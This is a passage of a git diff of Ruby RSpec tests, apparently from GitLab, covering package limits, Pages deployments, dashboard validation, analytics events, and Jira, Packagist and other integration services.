it 'will not allow a package of the same name' do
- new_package = build(:npm_package, name: package.name)
+ new_package = build(:npm_package, project: create(:project), name: package.name)
expect(new_package).not_to be_valid
end
@@ -482,4 +569,23 @@ RSpec.describe Packages::Package, type: :model do
it { is_expected.to contain_exactly(*tags) }
end
end
+
+ describe 'plan_limits' do
+ Packages::Package.package_types.keys.without('composer').each do |pt|
+ plan_limit_name = if pt == 'generic'
+ "#{pt}_packages_max_file_size"
+ else
+ "#{pt}_max_file_size"
+ end
+
+ context "File size limits for #{pt}" do
+ let(:package) { create("#{pt}_package") }
+
+ it "plan_limits includes column #{plan_limit_name}" do
+ expect { package.project.actual_limits.send(plan_limit_name) }
+ .not_to raise_error(NoMethodError)
+ end
+ end
+ end
+ end
end
diff --git a/spec/models/pages/lookup_path_spec.rb b/spec/models/pages/lookup_path_spec.rb
index 38bd9b39a56..cb1938a0113 100644
--- a/spec/models/pages/lookup_path_spec.rb
+++ b/spec/models/pages/lookup_path_spec.rb
@@ -3,20 +3,20 @@
require 'spec_helper'
RSpec.describe Pages::LookupPath do
- let(:project) do
- instance_double(Project,
- id: 12345,
- private_pages?: true,
- pages_https_only?: true,
- full_path: 'the/full/path'
- )
+ let_it_be(:project) do
+ create(:project, :pages_private, pages_https_only: true)
end
subject(:lookup_path) { described_class.new(project) }
+ before do
+ stub_pages_setting(access_control: true, external_https: ["1.1.1.1:443"])
+ stub_artifacts_object_storage
+ end
+
describe '#project_id' do
it 'delegates to Project#id' do
- expect(lookup_path.project_id).to eq(12345)
+ expect(lookup_path.project_id).to eq(project.id)
end
end
@@ -47,12 +47,49 @@ RSpec.describe Pages::LookupPath do
end
describe '#source' do
- it 'sets the source type to "file"' do
- expect(lookup_path.source[:type]).to eq('file')
+ shared_examples 'uses disk storage' do
+ it 'sets the source type to "file"' do
+ expect(lookup_path.source[:type]).to eq('file')
+ end
+
+ it 'sets the source path to the project full path suffixed with "public/' do
+ expect(lookup_path.source[:path]).to eq(project.full_path + "/public/")
+ end
end
- it 'sets the source path to the project full path suffixed with "public/' do
- expect(lookup_path.source[:path]).to eq('the/full/path/public/')
+ include_examples 'uses disk storage'
+
+ context 'when artifact_id from build job is present in pages metadata' do
+ let(:artifacts_archive) { create(:ci_job_artifact, :zip, :remote_store, project: project) }
+
+ before do
+ project.mark_pages_as_deployed(artifacts_archive: artifacts_archive)
+ end
+
+ it 'sets the source type to "zip"' do
+ expect(lookup_path.source[:type]).to eq('zip')
+ end
+
+ it 'sets the source path to the artifacts archive URL' do
+ Timecop.freeze do
+ expect(lookup_path.source[:path]).to eq(artifacts_archive.file.url(expire_at: 1.day.from_now))
+ expect(lookup_path.source[:path]).to include("Expires=86400")
+ end
+ end
+
+ context 'when artifact is not uploaded to object storage' do
+ let(:artifacts_archive) { create(:ci_job_artifact, :zip) }
+
+ include_examples 'uses disk storage'
+ end
+
+ context 'when feature flag is disabled' do
+ before do
+ stub_feature_flags(pages_artifacts_archive: false)
+ end
+
+ include_examples 'uses disk storage'
+ end
end
end
diff --git a/spec/models/pages_deployment_spec.rb b/spec/models/pages_deployment_spec.rb
new file mode 100644
index 00000000000..eafff1ed59a
--- /dev/null
+++ b/spec/models/pages_deployment_spec.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe PagesDeployment do
+ describe 'associations' do
+ it { is_expected.to belong_to(:project).required }
+ it { is_expected.to belong_to(:ci_build).optional }
+ end
+
+ describe 'validations' do
+ it { is_expected.to validate_presence_of(:file) }
+ it { is_expected.to validate_presence_of(:size) }
+ it { is_expected.to validate_numericality_of(:size).only_integer.is_greater_than(0) }
+ it { is_expected.to validate_inclusion_of(:file_store).in_array(ObjectStorage::SUPPORTED_STORES) }
+
+ it 'is valid when created from the factory' do
+ expect(create(:pages_deployment)).to be_valid
+ end
+ end
+end
diff --git a/spec/models/pages_domain_spec.rb b/spec/models/pages_domain_spec.rb
index 78980f8cdab..1d5369e608e 100644
--- a/spec/models/pages_domain_spec.rb
+++ b/spec/models/pages_domain_spec.rb
@@ -354,16 +354,6 @@ RSpec.describe PagesDomain do
domain.destroy!
end
- it 'delegates to Projects::UpdatePagesConfigurationService when not running async' do
- stub_feature_flags(async_update_pages_config: false)
-
- service = instance_double('Projects::UpdatePagesConfigurationService')
- expect(Projects::UpdatePagesConfigurationService).to receive(:new) { service }
- expect(service).to receive(:execute)
-
- create(:pages_domain, project: project)
- end
-
it "schedules a PagesUpdateConfigurationWorker" do
expect(PagesUpdateConfigurationWorker).to receive(:perform_async).with(project.id)
diff --git a/spec/models/performance_monitoring/prometheus_dashboard_spec.rb b/spec/models/performance_monitoring/prometheus_dashboard_spec.rb
index 61174a7d0c5..634690d5d0b 100644
--- a/spec/models/performance_monitoring/prometheus_dashboard_spec.rb
+++ b/spec/models/performance_monitoring/prometheus_dashboard_spec.rb
@@ -219,20 +219,93 @@ RSpec.describe PerformanceMonitoring::PrometheusDashboard do
end
describe '#schema_validation_warnings' do
- context 'when schema is valid' do
- it 'returns nil' do
- expect(described_class).to receive(:from_json)
- expect(described_class.new.schema_validation_warnings).to be_nil
+ let(:environment) { create(:environment, project: project) }
+ let(:path) { '.gitlab/dashboards/test.yml' }
+ let(:project) { create(:project, :repository, :custom_repo, files: { path => dashboard_schema.to_yaml }) }
+
+ subject(:schema_validation_warnings) { described_class.new(dashboard_schema.merge(path: path, environment: environment)).schema_validation_warnings }
+
+ before do
+ allow(Gitlab::Metrics::Dashboard::Finder).to receive(:find_raw).with(project, dashboard_path: path).and_call_original
+ end
+
+ context 'metrics_dashboard_exhaustive_validations is on' do
+ before do
+ stub_feature_flags(metrics_dashboard_exhaustive_validations: true)
+ end
+
+ context 'when schema is valid' do
+ let(:dashboard_schema) { YAML.safe_load(fixture_file('lib/gitlab/metrics/dashboard/sample_dashboard.yml')) }
+
+ it 'returns empty array' do
+ expect(Gitlab::Metrics::Dashboard::Validator).to receive(:errors).with(dashboard_schema, dashboard_path: path, project: project).and_return([])
+
+ expect(schema_validation_warnings).to eq []
+ end
+ end
+
+ context 'when schema is invalid' do
+ let(:dashboard_schema) { YAML.safe_load(fixture_file('lib/gitlab/metrics/dashboard/dashboard_missing_panel_groups.yml')) }
+
+ it 'returns array with errors messages' do
+ error = ::Gitlab::Metrics::Dashboard::Validator::Errors::SchemaValidationError.new
+
+ expect(Gitlab::Metrics::Dashboard::Validator).to receive(:errors).with(dashboard_schema, dashboard_path: path, project: project).and_return([error])
+
+ expect(schema_validation_warnings).to eq [error.message]
+ end
+ end
+
+ context 'when YAML has wrong syntax' do
+ let(:project) { create(:project, :repository, :custom_repo, files: { path => fixture_file('lib/gitlab/metrics/dashboard/broken_yml_syntax.yml') }) }
+
+ subject(:schema_validation_warnings) { described_class.new(path: path, environment: environment).schema_validation_warnings }
+
+ it 'returns array with errors messages' do
+ expect(Gitlab::Metrics::Dashboard::Validator).not_to receive(:errors)
+
+ expect(schema_validation_warnings).to eq ['Invalid yaml']
+ end
end
end
- context 'when schema is invalid' do
- it 'returns array with errors messages' do
- instance = described_class.new
- instance.errors.add(:test, 'test error')
+ context 'metrics_dashboard_exhaustive_validations is off' do
+ before do
+ stub_feature_flags(metrics_dashboard_exhaustive_validations: false)
+ end
+
+ context 'when schema is valid' do
+ let(:dashboard_schema) { YAML.safe_load(fixture_file('lib/gitlab/metrics/dashboard/sample_dashboard.yml')) }
+
+ it 'returns empty array' do
+ expect(described_class).to receive(:from_json).with(dashboard_schema)
+
+ expect(schema_validation_warnings).to eq []
+ end
+ end
+
+ context 'when schema is invalid' do
+ let(:dashboard_schema) { YAML.safe_load(fixture_file('lib/gitlab/metrics/dashboard/dashboard_missing_panel_groups.yml')) }
+
+ it 'returns array with errors messages' do
+ instance = described_class.new
+ instance.errors.add(:test, 'test error')
+
+ expect(described_class).to receive(:from_json).and_raise(ActiveModel::ValidationError.new(instance))
+ expect(described_class.new.schema_validation_warnings).to eq ['test: test error']
+ end
+ end
- expect(described_class).to receive(:from_json).and_raise(ActiveModel::ValidationError.new(instance))
- expect(described_class.new.schema_validation_warnings).to eq ['test: test error']
+ context 'when YAML has wrong syntax' do
+ let(:project) { create(:project, :repository, :custom_repo, files: { path => fixture_file('lib/gitlab/metrics/dashboard/broken_yml_syntax.yml') }) }
+
+ subject(:schema_validation_warnings) { described_class.new(path: path, environment: environment).schema_validation_warnings }
+
+ it 'returns array with errors messages' do
+ expect(described_class).not_to receive(:from_json)
+
+ expect(schema_validation_warnings).to eq ['Invalid yaml']
+ end
end
end
end
diff --git a/spec/models/product_analytics_event_spec.rb b/spec/models/product_analytics_event_spec.rb
index afdb5b690f8..286729b8398 100644
--- a/spec/models/product_analytics_event_spec.rb
+++ b/spec/models/product_analytics_event_spec.rb
@@ -35,4 +35,29 @@ RSpec.describe ProductAnalyticsEvent, type: :model do
it { expect(described_class.count_by_graph('platform', 7.days)).to eq({ 'app' => 1, 'web' => 2 }) }
it { expect(described_class.count_by_graph('platform', 30.days)).to eq({ 'app' => 1, 'mobile' => 1, 'web' => 2 }) }
end
+
+ describe '.by_category_and_action' do
+ let_it_be(:event) { create(:product_analytics_event, se_category: 'catA', se_action: 'actA') }
+
+ before do
+ create(:product_analytics_event, se_category: 'catA', se_action: 'actB')
+ create(:product_analytics_event, se_category: 'catB', se_action: 'actA')
+ end
+
+ it { expect(described_class.by_category_and_action('catA', 'actA')).to match_array([event]) }
+ end
+
+ describe '.count_collector_tstamp_by_day' do
+ let_it_be(:time_now) { Time.zone.now }
+ let_it_be(:time_ago) { Time.zone.now - 5.days }
+
+ let_it_be(:events) do
+ create_list(:product_analytics_event, 3, collector_tstamp: time_now) +
+ create_list(:product_analytics_event, 2, collector_tstamp: time_ago)
+ end
+
+ subject { described_class.count_collector_tstamp_by_day(7.days) }
+
+ it { is_expected.to eq({ time_now.beginning_of_day => 3, time_ago.beginning_of_day => 2 }) }
+ end
end
diff --git a/spec/models/project_feature_usage_spec.rb b/spec/models/project_feature_usage_spec.rb
new file mode 100644
index 00000000000..908b98ee9c2
--- /dev/null
+++ b/spec/models/project_feature_usage_spec.rb
@@ -0,0 +1,59 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe ProjectFeatureUsage, type: :model do
+ describe '.jira_dvcs_integrations_enabled_count' do
+ it 'returns count of projects with Jira DVCS Cloud enabled' do
+ create(:project).feature_usage.log_jira_dvcs_integration_usage
+ create(:project).feature_usage.log_jira_dvcs_integration_usage
+
+ expect(described_class.with_jira_dvcs_integration_enabled.count).to eq(2)
+ end
+
+ it 'returns count of projects with Jira DVCS Server enabled' do
+ create(:project).feature_usage.log_jira_dvcs_integration_usage(cloud: false)
+ create(:project).feature_usage.log_jira_dvcs_integration_usage(cloud: false)
+
+ expect(described_class.with_jira_dvcs_integration_enabled(cloud: false).count).to eq(2)
+ end
+ end
+
+ describe '#log_jira_dvcs_integration_usage' do
+ let(:project) { create(:project) }
+
+ subject { project.feature_usage }
+
+ it 'logs Jira DVCS Cloud last sync' do
+ Timecop.freeze do
+ subject.log_jira_dvcs_integration_usage
+
+ expect(subject.jira_dvcs_server_last_sync_at).to be_nil
+ expect(subject.jira_dvcs_cloud_last_sync_at).to be_like_time(Time.current)
+ end
+ end
+
+ it 'logs Jira DVCS Server last sync' do
+ Timecop.freeze do
+ subject.log_jira_dvcs_integration_usage(cloud: false)
+
+ expect(subject.jira_dvcs_server_last_sync_at).to be_like_time(Time.current)
+ expect(subject.jira_dvcs_cloud_last_sync_at).to be_nil
+ end
+ end
+
+ context 'when log_jira_dvcs_integration_usage is called simultaneously for the same project' do
+ it 'logs the latest call' do
+ feature_usage = project.feature_usage
+ feature_usage.log_jira_dvcs_integration_usage
+ first_logged_at = feature_usage.jira_dvcs_cloud_last_sync_at
+
+ Timecop.freeze(1.hour.from_now) do
+ ProjectFeatureUsage.new(project_id: project.id).log_jira_dvcs_integration_usage
+ end
+
+ expect(feature_usage.reload.jira_dvcs_cloud_last_sync_at).to be > first_logged_at
+ end
+ end
+ end
+end
diff --git a/spec/models/project_services/bamboo_service_spec.rb b/spec/models/project_services/bamboo_service_spec.rb
index 4d2474cc56a..45afbcca96d 100644
--- a/spec/models/project_services/bamboo_service_spec.rb
+++ b/spec/models/project_services/bamboo_service_spec.rb
@@ -11,7 +11,7 @@ RSpec.describe BambooService, :use_clean_rails_memory_store_caching do
let_it_be(:project) { create(:project) }
subject(:service) do
- described_class.create(
+ described_class.create!(
project: project,
properties: {
bamboo_url: bamboo_url,
@@ -85,7 +85,7 @@ RSpec.describe BambooService, :use_clean_rails_memory_store_caching do
bamboo_service = service
bamboo_service.bamboo_url = 'http://gitlab1.com'
- bamboo_service.save
+ bamboo_service.save!
expect(bamboo_service.password).to be_nil
end
@@ -94,7 +94,7 @@ RSpec.describe BambooService, :use_clean_rails_memory_store_caching do
bamboo_service = service
bamboo_service.username = 'some_name'
- bamboo_service.save
+ bamboo_service.save!
expect(bamboo_service.password).to eq('password')
end
@@ -104,7 +104,7 @@ RSpec.describe BambooService, :use_clean_rails_memory_store_caching do
bamboo_service.bamboo_url = 'http://gitlab_edited.com'
bamboo_service.password = 'password'
- bamboo_service.save
+ bamboo_service.save!
expect(bamboo_service.password).to eq('password')
expect(bamboo_service.bamboo_url).to eq('http://gitlab_edited.com')
@@ -117,7 +117,7 @@ RSpec.describe BambooService, :use_clean_rails_memory_store_caching do
bamboo_service.bamboo_url = 'http://gitlab_edited.com'
bamboo_service.password = 'password'
- bamboo_service.save
+ bamboo_service.save!
expect(bamboo_service.password).to eq('password')
expect(bamboo_service.bamboo_url).to eq('http://gitlab_edited.com')
diff --git a/spec/models/project_services/buildkite_service_spec.rb b/spec/models/project_services/buildkite_service_spec.rb
index 3d0c2cc1006..f6bf1551bf0 100644
--- a/spec/models/project_services/buildkite_service_spec.rb
+++ b/spec/models/project_services/buildkite_service_spec.rb
@@ -9,7 +9,7 @@ RSpec.describe BuildkiteService, :use_clean_rails_memory_store_caching do
let(:project) { create(:project) }
subject(:service) do
- described_class.create(
+ described_class.create!(
project: project,
properties: {
service_hook: true,
diff --git a/spec/models/project_services/chat_message/merge_message_spec.rb b/spec/models/project_services/chat_message/merge_message_spec.rb
index 45be5212508..02b266e4fae 100644
--- a/spec/models/project_services/chat_message/merge_message_spec.rb
+++ b/spec/models/project_services/chat_message/merge_message_spec.rb
@@ -29,23 +29,6 @@ RSpec.describe ChatMessage::MergeMessage do
}
end
- # Integration point in EE
- context 'when state is overridden' do
- it 'respects the overridden state' do
- allow(subject).to receive(:state_or_action_text) { 'devoured' }
-
- aggregate_failures do
- expect(subject.summary).not_to include('opened')
- expect(subject.summary).to include('devoured')
-
- activity_title = subject.activity[:title]
-
- expect(activity_title).not_to include('opened')
- expect(activity_title).to include('devoured')
- end
- end
- end
-
context 'without markdown' do
let(:color) { '#345' }
@@ -106,4 +89,56 @@ RSpec.describe ChatMessage::MergeMessage do
end
end
end
+
+ context 'approved' do
+ before do
+ args[:object_attributes][:action] = 'approved'
+ end
+
+ it 'returns a message regarding completed approval of merge requests' do
+ expect(subject.pretext).to eq(
+ 'Test User (test.user) approved merge request <http://somewhere.com/-/merge_requests/100|!100 *Merge Request title*> '\
+ 'in <http://somewhere.com|project_name>')
+ expect(subject.attachments).to be_empty
+ end
+ end
+
+ context 'unapproved' do
+ before do
+ args[:object_attributes][:action] = 'unapproved'
+ end
+
+ it 'returns a message regarding revocation of completed approval of merge requests' do
+ expect(subject.pretext).to eq(
+ 'Test User (test.user) unapproved merge request <http://somewhere.com/-/merge_requests/100|!100 *Merge Request title*> '\
+ 'in <http://somewhere.com|project_name>')
+ expect(subject.attachments).to be_empty
+ end
+ end
+
+ context 'approval' do
+ before do
+ args[:object_attributes][:action] = 'approval'
+ end
+
+ it 'returns a message regarding added approval of merge requests' do
+ expect(subject.pretext).to eq(
+ 'Test User (test.user) added their approval to merge request <http://somewhere.com/-/merge_requests/100|!100 *Merge Request title*> '\
+ 'in <http://somewhere.com|project_name>')
+ expect(subject.attachments).to be_empty
+ end
+ end
+
+ context 'unapproval' do
+ before do
+ args[:object_attributes][:action] = 'unapproval'
+ end
+
+ it 'returns a message regarding revoking approval of merge requests' do
+ expect(subject.pretext).to eq(
+ 'Test User (test.user) removed their approval from merge request <http://somewhere.com/-/merge_requests/100|!100 *Merge Request title*> '\
+ 'in <http://somewhere.com|project_name>')
+ expect(subject.attachments).to be_empty
+ end
+ end
end
diff --git a/spec/models/project_services/ewm_service_spec.rb b/spec/models/project_services/ewm_service_spec.rb
new file mode 100644
index 00000000000..311c456569e
--- /dev/null
+++ b/spec/models/project_services/ewm_service_spec.rb
@@ -0,0 +1,61 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe EwmService do
+ describe 'Associations' do
+ it { is_expected.to belong_to :project }
+ it { is_expected.to have_one :service_hook }
+ end
+
+ describe 'Validations' do
+ context 'when service is active' do
+ before do
+ subject.active = true
+ end
+
+ it { is_expected.to validate_presence_of(:project_url) }
+ it { is_expected.to validate_presence_of(:issues_url) }
+ it { is_expected.to validate_presence_of(:new_issue_url) }
+ it_behaves_like 'issue tracker service URL attribute', :project_url
+ it_behaves_like 'issue tracker service URL attribute', :issues_url
+ it_behaves_like 'issue tracker service URL attribute', :new_issue_url
+ end
+
+ context 'when service is inactive' do
+ before do
+ subject.active = false
+ end
+
+ it { is_expected.not_to validate_presence_of(:project_url) }
+ it { is_expected.not_to validate_presence_of(:issues_url) }
+ it { is_expected.not_to validate_presence_of(:new_issue_url) }
+ end
+ end
+
+ describe "ReferencePatternValidation" do
+ it "extracts bug" do
+ expect(described_class.reference_pattern.match("This is bug 123")[:issue]).to eq("bug 123")
+ end
+
+ it "extracts task" do
+ expect(described_class.reference_pattern.match("This is task 123.")[:issue]).to eq("task 123")
+ end
+
+ it "extracts work item" do
+ expect(described_class.reference_pattern.match("This is work item 123 now")[:issue]).to eq("work item 123")
+ end
+
+ it "extracts workitem" do
+ expect(described_class.reference_pattern.match("workitem 123 at the beginning")[:issue]).to eq("workitem 123")
+ end
+
+ it "extracts defect" do
+ expect(described_class.reference_pattern.match("This is defect 123 defect")[:issue]).to eq("defect 123")
+ end
+
+ it "extracts rtcwi" do
+ expect(described_class.reference_pattern.match("This is rtcwi 123")[:issue]).to eq("rtcwi 123")
+ end
+ end
+end
diff --git a/spec/models/project_services/jira_service_spec.rb b/spec/models/project_services/jira_service_spec.rb
index 28bba893be4..7741fea8717 100644
--- a/spec/models/project_services/jira_service_spec.rb
+++ b/spec/models/project_services/jira_service_spec.rb
@@ -10,6 +10,11 @@ RSpec.describe JiraService do
let(:username) { 'jira-username' }
let(:password) { 'jira-password' }
let(:transition_id) { 'test27' }
+ let(:server_info_results) { { 'deploymentType' => 'Cloud' } }
+
+ before do
+ WebMock.stub_request(:get, /serverInfo/).to_return(body: server_info_results.to_json )
+ end
describe '#options' do
let(:options) do
@@ -23,7 +28,7 @@ RSpec.describe JiraService do
}
end
- let(:service) { described_class.create(options) }
+ let(:service) { described_class.create!(options) }
it 'sets the URL properly' do
# jira-ruby gem parses the URI and handles trailing slashes fine:
@@ -97,13 +102,13 @@ RSpec.describe JiraService do
}
end
- subject { described_class.create(params) }
+ subject { described_class.create!(params) }
it 'does not store data into properties' do
expect(subject.properties).to be_nil
end
- it 'stores data in data_fields correcty' do
+ it 'stores data in data_fields correctly' do
service = subject
expect(service.jira_tracker_data.url).to eq(url)
@@ -111,6 +116,35 @@ RSpec.describe JiraService do
expect(service.jira_tracker_data.username).to eq(username)
expect(service.jira_tracker_data.password).to eq(password)
expect(service.jira_tracker_data.jira_issue_transition_id).to eq(transition_id)
+ expect(service.jira_tracker_data.deployment_cloud?).to be_truthy
+ end
+
+ context 'when loading serverInfo' do
+ let!(:jira_service) { subject }
+
+ context 'Cloud instance' do
+ let(:server_info_results) { { 'deploymentType' => 'Cloud' } }
+
+ it 'is detected' do
+ expect(jira_service.jira_tracker_data.deployment_cloud?).to be_truthy
+ end
+ end
+
+ context 'Server instance' do
+ let(:server_info_results) { { 'deploymentType' => 'Server' } }
+
+ it 'is detected' do
+ expect(jira_service.jira_tracker_data.deployment_server?).to be_truthy
+ end
+ end
+
+ context 'Unknown instance' do
+ let(:server_info_results) { { 'deploymentType' => 'FutureCloud' } }
+
+ it 'is detected' do
+ expect(jira_service.jira_tracker_data.deployment_unknown?).to be_truthy
+ end
+ end
end
end
@@ -151,11 +185,11 @@ RSpec.describe JiraService do
describe '#update' do
context 'basic update' do
- let(:new_username) { 'new_username' }
- let(:new_url) { 'http://jira-new.example.com' }
+ let_it_be(:new_username) { 'new_username' }
+ let_it_be(:new_url) { 'http://jira-new.example.com' }
before do
- service.update(username: new_username, url: new_url)
+ service.update!(username: new_username, url: new_url)
end
it 'leaves properties field emtpy' do
@@ -173,6 +207,63 @@ RSpec.describe JiraService do
end
end
+ context 'when updating the url, api_url, username, or password' do
+ it 'updates deployment type' do
+ service.update!(url: 'http://first.url')
+ service.jira_tracker_data.update!(deployment_type: 'server')
+
+ expect(service.jira_tracker_data.deployment_server?).to be_truthy
+
+ service.update!(api_url: 'http://another.url')
+ service.jira_tracker_data.reload
+
+ expect(service.jira_tracker_data.deployment_cloud?).to be_truthy
+ expect(WebMock).to have_requested(:get, /serverInfo/).twice
+ end
+
+ it 'calls serverInfo for url' do
+ service.update!(url: 'http://first.url')
+
+ expect(WebMock).to have_requested(:get, /serverInfo/)
+ end
+
+ it 'calls serverInfo for api_url' do
+ service.update!(api_url: 'http://another.url')
+
+ expect(WebMock).to have_requested(:get, /serverInfo/)
+ end
+
+ it 'calls serverInfo for username' do
+ service.update!(username: 'test-user')
+
+ expect(WebMock).to have_requested(:get, /serverInfo/)
+ end
+
+ it 'calls serverInfo for password' do
+ service.update!(password: 'test-password')
+
+ expect(WebMock).to have_requested(:get, /serverInfo/)
+ end
+ end
+
+ context 'when not updating the url, api_url, username, or password' do
+ it 'does not update deployment type' do
+ expect {service.update!(jira_issue_transition_id: 'jira_issue_transition_id')}.to raise_error(ActiveRecord::RecordInvalid)
+
+ expect(WebMock).not_to have_requested(:get, /serverInfo/)
+ end
+ end
+
+ context 'when not allowed to test an instance or group' do
+ it 'does not update deployment type' do
+ allow(service).to receive(:can_test?).and_return(false)
+
+ service.update!(url: 'http://first.url')
+
+ expect(WebMock).not_to have_requested(:get, /serverInfo/)
+ end
+ end
+
context 'stored password invalidation' do
context 'when a password was previously set' do
context 'when only web url present' do
@@ -187,7 +278,7 @@ RSpec.describe JiraService do
it 'resets password if url changed' do
service
service.url = 'http://jira_edited.example.com'
- service.save
+ service.save!
expect(service.reload.url).to eq('http://jira_edited.example.com')
expect(service.password).to be_nil
@@ -195,7 +286,7 @@ RSpec.describe JiraService do
it 'does not reset password if url "changed" to the same url as before' do
service.url = 'http://jira.example.com'
- service.save
+ service.save!
expect(service.reload.url).to eq('http://jira.example.com')
expect(service.password).not_to be_nil
@@ -203,7 +294,7 @@ RSpec.describe JiraService do
it 'resets password if url not changed but api url added' do
service.api_url = 'http://jira_edited.example.com/rest/api/2'
- service.save
+ service.save!
expect(service.reload.api_url).to eq('http://jira_edited.example.com/rest/api/2')
expect(service.password).to be_nil
@@ -212,7 +303,7 @@ RSpec.describe JiraService do
it 'does not reset password if new url is set together with password, even if it\'s the same password' do
service.url = 'http://jira_edited.example.com'
service.password = password
- service.save
+ service.save!
expect(service.password).to eq(password)
expect(service.url).to eq('http://jira_edited.example.com')
@@ -221,14 +312,14 @@ RSpec.describe JiraService do
it 'resets password if url changed, even if setter called multiple times' do
service.url = 'http://jira1.example.com/rest/api/2'
service.url = 'http://jira1.example.com/rest/api/2'
- service.save
+ service.save!
expect(service.password).to be_nil
end
it 'does not reset password if username changed' do
service.username = 'some_name'
- service.save
+ service.save!
expect(service.reload.password).to eq(password)
end
@@ -236,7 +327,7 @@ RSpec.describe JiraService do
it 'does not reset password if password changed' do
service.url = 'http://jira_edited.example.com'
service.password = 'new_password'
- service.save
+ service.save!
expect(service.reload.password).to eq('new_password')
end
@@ -244,7 +335,7 @@ RSpec.describe JiraService do
it 'does not reset password if the password is touched and same as before' do
service.url = 'http://jira_edited.example.com'
service.password = password
- service.save
+ service.save!
expect(service.reload.password).to eq(password)
end
@@ -261,20 +352,20 @@ RSpec.describe JiraService do
it 'resets password if api url changed' do
service.api_url = 'http://jira_edited.example.com/rest/api/2'
- service.save
+ service.save!
expect(service.password).to be_nil
end
it 'does not reset password if url changed' do
service.url = 'http://jira_edited.example.com'
- service.save
+ service.save!
expect(service.password).to eq(password)
end
it 'resets password if api url set to empty' do
- service.update(api_url: '')
+ service.update!(api_url: '')
expect(service.reload.password).to be_nil
end
@@ -291,7 +382,7 @@ RSpec.describe JiraService do
it 'saves password if new url is set together with password' do
service.url = 'http://jira_edited.example.com/rest/api/2'
service.password = 'password'
- service.save
+ service.save!
expect(service.reload.password).to eq('password')
expect(service.reload.url).to eq('http://jira_edited.example.com/rest/api/2')
end
@@ -360,7 +451,7 @@ RSpec.describe JiraService do
allow_any_instance_of(JIRA::Resource::Issue).to receive(:key).and_return('JIRA-123')
allow(JIRA::Resource::Remotelink).to receive(:all).and_return([])
- @jira_service.save
+ @jira_service.save!
project_issues_url = 'http://jira.example.com/rest/api/2/issue/JIRA-123'
@transitions_url = 'http://jira.example.com/rest/api/2/issue/JIRA-123/transitions'
@@ -627,32 +718,32 @@ RSpec.describe JiraService do
end
describe '#test' do
+ let(:server_info_results) { { 'url' => 'http://url', 'deploymentType' => 'Cloud' } }
+ let_it_be(:project) { create(:project, :repository) }
let(:jira_service) do
described_class.new(
url: url,
+ project: project,
username: username,
password: password
)
end
- def test_settings(url = 'jira.example.com')
- test_url = "http://#{url}/rest/api/2/serverInfo"
-
- WebMock.stub_request(:get, test_url).with(basic_auth: [username, password])
- .to_return(body: { url: 'http://url' }.to_json )
-
+ def server_info
jira_service.test(nil)
end
context 'when the test succeeds' do
it 'gets Jira project with URL when API URL not set' do
- expect(test_settings).to eq(success: true, result: { 'url' => 'http://url' })
+ expect(server_info).to eq(success: true, result: server_info_results)
+ expect(WebMock).to have_requested(:get, /jira.example.com/)
end
it 'gets Jira project with API URL if set' do
- jira_service.update(api_url: 'http://jira.api.com')
+ jira_service.update!(api_url: 'http://jira.api.com')
- expect(test_settings('jira.api.com')).to eq(success: true, result: { 'url' => 'http://url' })
+ expect(server_info).to eq(success: true, result: server_info_results)
+ expect(WebMock).to have_requested(:get, /jira.api.com/)
end
end
diff --git a/spec/models/project_services/packagist_service_spec.rb b/spec/models/project_services/packagist_service_spec.rb
index f710385b6e2..33b5c9809c7 100644
--- a/spec/models/project_services/packagist_service_spec.rb
+++ b/spec/models/project_services/packagist_service_spec.rb
@@ -3,20 +3,6 @@
require 'spec_helper'
RSpec.describe PackagistService do
- describe "Associations" do
- it { is_expected.to belong_to :project }
- it { is_expected.to have_one :service_hook }
- end
-
- let(:project) { create(:project) }
-
- let(:packagist_server) { 'https://packagist.example.com' }
- let(:packagist_username) { 'theUser' }
- let(:packagist_token) { 'verySecret' }
- let(:packagist_hook_url) do
- "#{packagist_server}/api/update-package?username=#{packagist_username}&apiToken=#{packagist_token}"
- end
-
let(:packagist_params) do
{
active: true,
@@ -29,11 +15,25 @@ RSpec.describe PackagistService do
}
end
+ let(:packagist_hook_url) do
+ "#{packagist_server}/api/update-package?username=#{packagist_username}&apiToken=#{packagist_token}"
+ end
+
+ let(:packagist_token) { 'verySecret' }
+ let(:packagist_username) { 'theUser' }
+ let(:packagist_server) { 'https://packagist.example.com' }
+ let(:project) { create(:project) }
+
+ describe "Associations" do
+ it { is_expected.to belong_to :project }
+ it { is_expected.to have_one :service_hook }
+ end
+
describe '#execute' do
let(:user) { create(:user) }
let(:project) { create(:project, :repository) }
let(:push_sample_data) { Gitlab::DataBuilder::Push.build_sample(project, user) }
- let(:packagist_service) { described_class.create(packagist_params) }
+ let(:packagist_service) { described_class.create!(packagist_params) }
before do
stub_request(:post, packagist_hook_url)
diff --git a/spec/models/project_services/pipelines_email_service_spec.rb b/spec/models/project_services/pipelines_email_service_spec.rb
index 9a8386c619e..21cc5d44558 100644
--- a/spec/models/project_services/pipelines_email_service_spec.rb
+++ b/spec/models/project_services/pipelines_email_service_spec.rb
@@ -81,7 +81,7 @@ RSpec.describe PipelinesEmailService, :mailer do
context 'when pipeline is succeeded' do
before do
data[:object_attributes][:status] = 'success'
- pipeline.update(status: 'success')
+ pipeline.update!(status: 'success')
end
it_behaves_like 'sending email'
@@ -91,7 +91,7 @@ RSpec.describe PipelinesEmailService, :mailer do
context 'on default branch' do
before do
data[:object_attributes][:ref] = project.default_branch
- pipeline.update(ref: project.default_branch)
+ pipeline.update!(ref: project.default_branch)
end
context 'notifications are enabled only for default branch' do
@@ -115,7 +115,7 @@ RSpec.describe PipelinesEmailService, :mailer do
before do
create(:protected_branch, project: project, name: 'a-protected-branch')
data[:object_attributes][:ref] = 'a-protected-branch'
- pipeline.update(ref: 'a-protected-branch')
+ pipeline.update!(ref: 'a-protected-branch')
end
context 'notifications are enabled only for default branch' do
@@ -138,7 +138,7 @@ RSpec.describe PipelinesEmailService, :mailer do
context 'on a neither protected nor default branch' do
before do
data[:object_attributes][:ref] = 'a-random-branch'
- pipeline.update(ref: 'a-random-branch')
+ pipeline.update!(ref: 'a-random-branch')
end
context 'notifications are enabled only for default branch' do
@@ -177,7 +177,7 @@ RSpec.describe PipelinesEmailService, :mailer do
context 'with succeeded pipeline' do
before do
data[:object_attributes][:status] = 'success'
- pipeline.update(status: 'success')
+ pipeline.update!(status: 'success')
end
it_behaves_like 'not sending email'
@@ -195,7 +195,7 @@ RSpec.describe PipelinesEmailService, :mailer do
